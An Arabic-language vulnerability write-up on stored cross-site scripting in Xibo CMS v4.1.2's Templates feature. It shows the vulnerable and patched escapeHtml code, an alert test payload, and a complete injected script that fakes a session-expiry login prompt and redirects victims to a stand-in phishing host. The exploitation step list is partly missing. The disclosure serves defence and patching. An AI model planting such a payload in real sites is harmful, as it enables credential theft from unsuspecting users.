
ثغرة برمجة نصية عبر المواقع مخزّنة (Stored Cross-Site Scripting / XSS) في Xibo CMS v4.1.2 الخاص بـ Xibo Signage، وذلك بسبب عدم التحقق السليم من مدخلات المستخدم.
اكتشفت ثغرة Cross-Site Scripting (XSS) مخزّنة في Xibo CMS v4.1.2. تتيح هذه الثغرة لمهاجم مُصادَق حقن نصوص برمجية خبيثة في التطبيق بسبب عدم التحقق السليم من المدخلات التي يقدمها المستخدم.
تكمن المشكلة في ميزة 'Templates'. يمكن للمهاجم إنشاء قالب يحتوي على عنصر نصي يحمل حمولة خبيثة. عندما يعرض مستخدمون آخرون هذا القالب، يُنفَّذ البرنامج النصي في متصفحهم، مما قد يؤدي إلى سرقة البيانات أو إجراءات ضارة أخرى.
لاستغلال الثغرة، يجب على المستخدم المُصادَق اتباع الخطوات التالية:
<script>alert(1337)</script>).يحتوي هذا القسم على مقتطف الكود المحدد من Xibo CMS v4.1.2 الذي يفشل في تعقيم المدخلات في حقل 'Text'.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
],
];
} else if ($extension !== null) {
في سطر آخر من نفس المستند.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
],
];
في مستند آخر.
// Escape HTML
convertedProperties.escapeHtml = template?.extends?.escapeHtml;
// Compile hbs template with data
let hbsHtml = hbsTemplate(convertedProperties);
يعرض هذا القسم الكود المُصحَّح، الذي يتضمن آليات مناسبة لتعقيم المدخلات وترميز المخرجات لتحييد النصوص البرمجية الخبيثة.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
$moduleTemplate->extends->escapeHtml : 1,
],
];
} else if ($extension !== null) {
في سطر آخر من نفس المستند.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
$moduleTemplate->extends->escapeHtml : 1,
],
];
في مستند آخر.
// Escape HTML
convertedProperties.escapeHtml =
(template?.extends?.escapeHtml === undefined) ?
true : template.extends.escapeHtml;
// Compile hbs template with data
let hbsHtml = hbsTemplate(convertedProperties);
يتم تنفيذ الحمولة المخزنة في سياق متصفح الضحية، ويمكن استغلالها لسرقة معلومات حساسة مثل كلمات المرور.
1. حقن الحمولة: يُدخل المهاجم البرنامج النصي الخبيث في عنصر نصي داخل قالب.

البرنامج النصي الذي استخدمته هو التالي:
<script>
(function() {
// --- MAIN FUNCTION ---
function showRedirectModal() {
// 1. Create the elements
const overlay = document.createElement('div');
const modalContainer = document.createElement('div');
const title = document.createElement('h2');
const message = document.createElement('p');
const redirectButton = document.createElement('button');
// 2. Assign styles and properties
// Style for the dark overlay
Object.assign(overlay.style, {
position: 'fixed', top: '0', left: '0', width: '100%', height: '100%',
backgroundColor: 'rgba(0, 0, 0, 0.75)', zIndex: '10000',
display: 'flex', justifyContent: 'center', alignItems: 'center'
});
// Style for the modal container
Object.assign(modalContainer.style, {
padding: '40px', backgroundColor: '#fff', borderRadius: '8px',
boxShadow: '0 4px 15px rgba(0,0,0,0.2)', width: '320px',
fontFamily: 'Arial, sans-serif'
});
// Style for the title
title.textContent = 'Session Expired';
Object.assign(title.style, {
textAlign: 'center', color: '#333', marginBottom: '15px'
});
message.textContent = 'Your session has expired. Please log in again to continue.';
Object.assign(message.style, {
textAlign: 'center',
color: '#555',
marginBottom: '25px',
lineHeight: '1.5',
fontSize: '16px'
});
// Style for the redirect button
Object.assign(redirectButton.style, {
width: '100%', padding: '12px', border: 'none', borderRadius: '4px',
backgroundColor: '#007bff', color: 'white', fontSize: '16px',
cursor: 'pointer'
});
redirectButton.textContent = 'Log In Again';
// 3. Assemble the modal structure
modalContainer.appendChild(title);
modalContainer.appendChild(message);
modalContainer.appendChild(redirectButton);
overlay.appendChild(modalContainer);
// 4. Add the modal to the page
document.body.appendChild(overlay);
// 5. Define the button's behavior
redirectButton.addEventListener('click', function(e) {
e.preventDefault(); // Buena práctica
const phishingURL = 'http://my-website-example.com/login.html';
window.location.href = phishingURL;
document.body.removeChild(overlay);
});
}
// --- Initialize the function ---
showRedirectModal();
})();
</script>
2. سيناريو الهجوم: يحاكي هجوم شائع انتهاء صلاحية الجلسة لالتقاط بيانات اعتماد المستخدم. يختطف البرنامج النصي الصفحة ويعرض هذه النافذة المنبثقة على الضحية.

تُقدَّم هذه المعلومات لأغراض تعليمية وبحثية فقط. لست مسؤولًا عن أي إساءة استخدام أو ضرر ناتج عن هذه المعلومات.